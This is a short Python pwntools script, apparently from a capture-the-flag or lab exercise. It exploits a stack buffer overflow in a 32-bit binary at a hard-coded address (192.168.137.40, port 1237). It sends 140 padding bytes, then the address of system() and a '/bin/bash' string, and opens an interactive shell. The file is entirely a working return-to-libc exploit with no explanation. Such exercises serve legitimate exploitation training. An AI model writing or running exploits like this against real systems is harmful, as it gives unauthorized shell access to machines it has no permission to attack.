ex_rop2.py

from pwn import *
from termcolor import colored, cprint
import random
import sys

if len(sys.argv)>1:
    # python guessing.py guessing
    r = process(sys.argv[1])
    print colored("attach %d\n" % r.pid,"yellow")
    raw_input("debug?")
else:
    HOST = '192.168.137.40'
    PORT = 1237
    r = remote(HOST,PORT)



system = 0x80483a0
bin_bash = 0x8048610

payload = 'A' * 140
payload += p32(system)
payload += 'A'*4 # exit()
payload += p32(bin_bash)

r.sendline(payload)
r.interactive()